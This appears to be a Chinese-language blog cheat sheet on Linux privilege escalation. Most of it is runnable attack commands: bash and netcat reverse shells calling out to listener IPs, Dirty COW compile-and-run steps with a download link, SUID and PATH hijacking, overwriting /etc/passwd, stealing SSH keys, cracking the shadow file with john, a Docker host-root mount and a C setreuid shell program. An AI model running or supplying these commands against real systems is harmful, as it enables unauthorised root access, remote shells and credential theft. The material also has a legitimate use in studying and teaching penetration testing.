21 linux提权
常用命令
uname -a #查看内核/操作系统/cpu信息
head -n 1 /etc/issue #查看操作系统版本
cat /proc/version #查看系统信息
hostname #查看计算机名
env #查看环境变量
ifconfig #查看网卡
netstat -lntp # 查看所有监听端口
netstat -antp # 查看所有已经建立的连接
netstat -s # 查看网络统计信息
iptables -L #查看防火墙设置
route -n # 查看路由表
ps -ef # 查看所有进程
top # 实时显示进程状态
w # 查看活动用户
id # 查看指定用户信息
last # 查看用户登录日志
cut -d: -f1 /etc/passwd # 查看系统所有用户
cut -d: -f1 /etc/group # 查看系统所有组
crontab -l # 查看当前用户的计划任务
chkconfig –list # 列出所有系统服务
chkconfig –list | grep on # 列出所有启动的系统服务
echo $PATH #查看系统路径
反弹shell
bash反弹
bash -i >& /dev/tcp/ip_address/port 0>&1
bash -c "bash -i >& /dev/tcp/192.168.0.189/6666 0>&1"
nc反弹
nc -e /bin/sh 192.168.2.130 4444 但某些版本的nc没有-e参数(非传统版),则可使用以下方式解决
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
python 调用本地shell 实现交互式命令
python -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
有些时候系统的命令终端不允许直接访问,我们可以使用python虚拟化一个终端访问
linux反弹乱码
stty -echo raw
这个命令需要在bash环境下才能够执行,一般kali的环境是zsh,需要使用bash命令切换
fg 调用后台任务
LINUX内核漏洞提权
根绝linux的内核版本去寻找对应的exp
searchsploit -t Ubuntu 14.04
searchsploit -s Ubuntu 14.04
searchsploit -s Linux Kernel 3.13.0
查看描述
searchsploit -x linux/local/37088.c
反弹端口,执行编译后的exp
脏牛提权
脏牛提权需要一个知道密码的低权限账号
exp下载 https://github.com/Brucetg/DirtyCow-EXP
gcc -pthread dirtyc0w.c -o dirtyc0w
chmod +x dirtycow
./dirtycow /etc/group "$(sed '/\(sudo*\)/ s/$/,moon123/' /etc/group)"
metasploit linux提权
操作上和上一章节windows提权一样
suid提权
寻找拥有SUID可执行文件
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
第一个命令好用些
第二个第三个经常因为权限问题无法执行
这里有个网页是专门介绍suid提权的命令的,在返回的结果中查看到可以执行suid命令的文件
再到这个网站上查找
https://gtfobins.github.io/
找到对应的命令即可
常见的suid提权文件
nmap、vim、find、more、less、bash、cp、Nano、mv、awk、man、weget
passwd提权
需要passwd有可写的权限
通过OpenSSL passwd生成一个新的用户以及密码,替换掉passwd文件
openssl passwd -1 -salt moonhack 123456
ssh密钥提权
找到有.ssh目录的用户
跳转然后下载id_rsa文件
将该文件设置为600(777都会执行失败)
登录
ssh -i id_rsa web1@192.168.0.135
环境劫持提权
条件:存在带有suid的文件,suid文件存在系统命令
我用该提权的方法,都只提到了本地的权限
可能对提权的文件有限制
寻找suid文件
find / -perm -u=s -type f 2>/dev/null
cd /tmp 来到tmp目录
echo "/bin/bash" > ps 写入shell到代替文件
chmod 777 ps 赋予最高权限
echo $PATH
export PATH=/tmp:$PATH 将tmp放到环境路径
d /script
./shell 执行命令
此时就会使用suid执行我们写入的shell
john 破解shadow root密文
john --wordlist="/usr/share/wordlists/rockyou.txt" userpassw
wordlist是一个kali自带的字典,需要解压
计划任务反弹shell
查看计划任务
cat /etc/crontab
查看系统日志
tail -f /var/log/syslog
修改内容
反弹shell
提权脚本
LinEnum 检测linux环境的
https://github.com/rebootuser/LinEnum
linuxprivchecker
https://github.com/sleventyeleven/linuxprivchecker
python3版本
https://github.com/swarley7/linuxprivchecker
linux-exploit-suggester2 检测系统漏洞的
https://github.com/jondonas/linux-exploit-suggester-2
docker提权
docker里一般是root权限
输入命令下载使用容器把容器的目录挂载到宿主的根目录
docker run -v /:/mnt -it alpine
挂载后
我们就可以直接以root权限访问到主机所有的文件
lxd同理
sudo提权
sudo 是一种权限管理机制,管理员可以授权于一些普通用户去执行一些 root 执行的操作,而不需要知
道 root 的密码。
首先通过信息收集,查看是否存在sudo配置不当的可能。如果存在,寻找低权限sudo用户的密码,进而
提权。
sudo -l
列出目前用户可执行与无法执行的指令。
原理
通常运维会将一些需要 sudo的命令 集成到某个用户或者某个组
然后在/etc/sudoers文件内进行设置
首先设置 chmod +w cat /etc/sudoers 使用vi对其编辑 保存即可
切换用户
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc,char *argv[]) {
setreuid(1000,1000);
execve("/bin/sh",NULL,NULL);
}
放到tmp目录就可以很方面的切换用户,并且不用输入密码

浙公网安备 33010602011771号